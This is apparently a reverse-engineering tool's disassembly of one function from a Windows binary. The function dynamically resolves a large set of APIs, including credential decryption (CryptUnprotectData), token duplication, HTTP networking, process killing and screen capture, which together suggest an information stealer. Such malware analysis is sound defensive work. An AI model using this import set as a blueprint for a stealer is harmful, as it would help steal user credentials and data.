Function at 0x401000
Capabilities:
Generate random numbers via rtlgenrandom
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push 0x4110a0
call edi
mov esi, eax
test esi, esi
jne 0x401022
push 0xfffffffffffffff7
pop eax
jmp 0x4015ba
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.LoadLibraryW
push esi
call ebx
push str.GetUserDefaultLocaleName
push esi
mov dword [0x41503c], eax
call ebx
push str.GetEnvironmentVariableW
push esi
call ebx
push 0x4110f4
push esi
mov dword [0x415164], eax
call ebx
push str.FreeLibrary
push esi
mov dword [0x41519c], eax
call ebx
push str.GlobalFree
push esi
mov dword [0x415148], eax
call ebx
push str.CreateFileW
push esi
mov dword [0x4150e0], eax
call ebx
push str.GetTimeZoneInformation
push esi
mov dword [0x415044], eax
call ebx
push 0x41113c
push esi
mov dword [0x415028], eax
call ebx
push str.lstrcpyA
push esi
mov dword [0x4150d8], eax
call ebx
push str.ReadFile
push esi
mov dword [0x415054], eax
call ebx
push str.lstrlenW
push esi
mov dword [0x41508c], eax
call ebx
push str.WriteFile
push esi
mov dword [0x415090], eax
call ebx
push str.SetCurrentDirectoryW
push esi
mov dword [0x4150ec], eax
call ebx
push str.lstrcmpW
push esi
mov dword [0x4150dc], eax
call ebx
push 0x4111a0
push esi
mov dword [0x4150a4], eax
call ebx
push 0x4111ac
push esi
mov dword [0x4150c0], eax
call ebx
push str.FindNextFileW
push esi
mov dword [0x4150b8], eax
call ebx
push str.FindFirstFileW
push esi
mov dword [0x415150], eax
call ebx
push str.Process32First
push esi
mov dword [0x415020], eax
call ebx
mov dword [0x41510c], eax
push str.GetFileSize
push esi
call ebx
push str.OpenMutexW
push esi
mov dword [0x415154], eax
call ebx
push str.WideCharToMultiByte
push esi
mov dword [0x415170], eax
call ebx
push str.GlobalAlloc
push esi
mov dword [0x4150e8], eax
call ebx
push str.GetCurrentProcess
push esi
mov dword [0x415098], eax
call ebx
push str.ExitProcess
push esi
mov dword [0x415048], eax
call ebx
push str.CreateMutexW
push esi
mov dword [0x41502c], eax
call ebx
push str.GetSystemWow64DirectoryW
push esi
mov dword [0x415108], eax
call ebx
push str.GetLocaleInfoW
push esi
mov dword [0x415110], eax
call ebx
push str.GlobalMemoryStatusEx
push esi
mov dword [0x4150ac], eax
call ebx
push str.GetDriveTypeW
push esi
mov dword [0x415034], eax
call ebx
push str.OpenProcess
push esi
mov dword [0x415130], eax
call ebx
push 0x4112b4
push esi
mov dword [0x415060], eax
call ebx
push str.lstrcmpiW
push esi
mov dword [0x41504c], eax
call ebx
push str.SetEnvironmentVariableW
push esi
mov dword [0x41511c], eax
call ebx
push str.CopyFileW
push esi
mov dword [0x415168], eax
call ebx
push str.GetModuleFileNameW
push esi
mov dword [0x415188], eax
call ebx
push str.lstrcmpA
push esi
mov dword [0x415074], eax
call ebx
push str.Sleep
push esi
mov dword [0x415088], eax
call ebx
push str.GetSystemInfo
push esi
call ebx
push 0x411328
mov dword [0x4150fc], eax
push esi
call ebx
push str.Process32Next
push esi
mov dword [0x4150cc], eax
call ebx
push str.DeleteFileW
push esi
mov dword [0x415080], eax
call ebx
push str.lstrcpynA
push esi
mov dword [0x4150f8], eax
call ebx
push str.MultiByteToWideChar
push esi
mov dword [0x415008], eax
call ebx
push 0x411370
push esi
mov dword [0x4150b0], eax
call ebx
push str.CreateToolhelp32Snapshot
push esi
mov dword [0x41507c], eax
call ebx
push str.HeapFree
push esi
mov dword [0x41509c], eax
call ebx
push str.GetUserDefaultLCID
push esi
call ebx
push str.GetLogicalDriveStringsW
push esi
mov dword [0x415174], eax
call ebx
push str.TerminateProcess
push esi
mov dword [0x41514c], eax
call ebx
push str.Process32FirstW
push esi
mov dword [0x415118], eax
call ebx
push str.Process32NextW
push esi
mov dword [0x415070], eax
call ebx
push str.Shlwapi.dll
mov dword [0x41500c], eax
call edi
mov esi, eax
push str.PathMatchSpecW
push esi
call ebx
push str.StrCpyW
push esi
mov dword [0x415140], eax
call ebx
push str.StrStrIW
push esi
mov dword [0x415144], eax
call ebx
push str.StrStrW
push esi
call ebx
push str.PathCombineW
push esi
mov dword [0x415190], eax
call ebx
push str.StrRChrW
push esi
mov dword [0x415004], eax
call ebx
push str.StrToIntA
push esi
mov dword [0x4150e4], eax
call ebx
push str.StrToIntW
push esi
call ebx
push str.StrStrA
push esi
mov dword [0x415078], eax
call ebx
push str.StrToInt64ExW
push esi
mov dword [0x415014], eax
call ebx
push str.Ole32.dll
call edi
mov esi, eax
push 0x411494
push esi
call ebx
push str.CoCreateInstance
push esi
call ebx
push str.WinInet.dll
mov dword [0x415194], eax
call edi
push str.Shell32.dll
mov esi, eax
call edi
mov ebx, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
push str.User32.dll
call ebx
push str.Advapi32.dll
mov dword [ebp - 4], eax
call ebx
push str.Bcrypt.dll
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push str.Crypt32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push str.HttpQueryInfoA
push esi
mov dword [ebp - 8], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.HttpOpenRequestW
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.InternetReadFileExW
push esi
mov dword [0x4150bc], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.InternetOpenUrlW
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.HttpQueryInfoW
push esi
mov dword [0x415114], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.InternetCloseHandle
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.InternetConnectW
push esi
mov dword [0x41506c], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.InternetSetOptionW
push esi
mov dword [0x415184], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.InternetOpenW
push esi
mov dword [0x415178], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.HttpSendRequestW
push esi
mov dword [0x41512c], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.InternetReadFile
push esi
mov dword [0x415018], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.InternetOpenUrlA
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x415100], eax
call esi
push str.ShellExecuteW
push edi
call esi
push str.SHGetFolderPathW
push edi
mov dword [0x41501c], eax
call esi
push str.SHGetSpecialFolderPathW
push edi
mov dword [0x415198], eax
call esi
push str.ConvertSidToStringSidW
push ebx
mov dword [0x4150c8], eax
call esi
push str.OpenProcessToken
push ebx
mov dword [0x41505c], eax
call esi
push str.SystemFunction036
push ebx
mov dword [0x415128], eax
call esi
push str.RegEnumKeyExW
push ebx
mov dword [0x4150c4], eax
call esi
push str.RegCloseKey
push ebx
mov dword [0x4150a8], eax
call esi
push str.DuplicateTokenEx
push ebx
mov dword [0x415068], eax
call esi
push str.GetUserNameW
push ebx
mov dword [0x415038], eax
call esi
push str.RegOpenKeyExW
push ebx
mov dword [0x415180], eax
call esi
push str.RegQueryValueExW
push ebx
mov dword [0x4150a0], eax
call esi
push str.GetTokenInformation
push ebx
mov dword [0x4150d4], eax
call esi
push str.CreateProcessWithTokenW
push ebx
mov dword [0x415030], eax
call esi
mov ebx, dword [ebp - 4]
push str.CharUpperW
push ebx
mov dword [0x4151a4], eax
call esi
push str.EnumDisplayDevicesW
push ebx
call esi
push str.GetClientRect
push ebx
mov dword [0x415138], eax
call esi
push str.GetDC
push ebx
mov dword [0x415124], eax
call esi
push str.GetDesktopWindow
push ebx
mov dword [0x41518c], eax
call esi
push str.GetSystemMetrics
push ebx
mov dword [0x415158], eax
call esi
mov dword [0x415050], eax
push str.ReleaseDC
push ebx
call esi
push str.wsprintfW
push ebx
mov dword [0x4150f4], eax
call esi
mov ebx, dword [ebp - 8]
push str.CryptStringToBinaryA
push ebx
mov dword [0x4150f0], eax
call esi
push str.CryptStringToBinaryW
push ebx
mov dword [0x415040], eax
call esi
push str.CryptBinaryToStringW
push ebx
mov dword [0x415160], eax
call esi
push str.CryptUnprotectData
push ebx
mov dword [0x415024], eax
call esi
mov dword [0x4150b4], eax
xor eax, eax
inc eax
pop ebx
pop edi
pop esi
leave
ret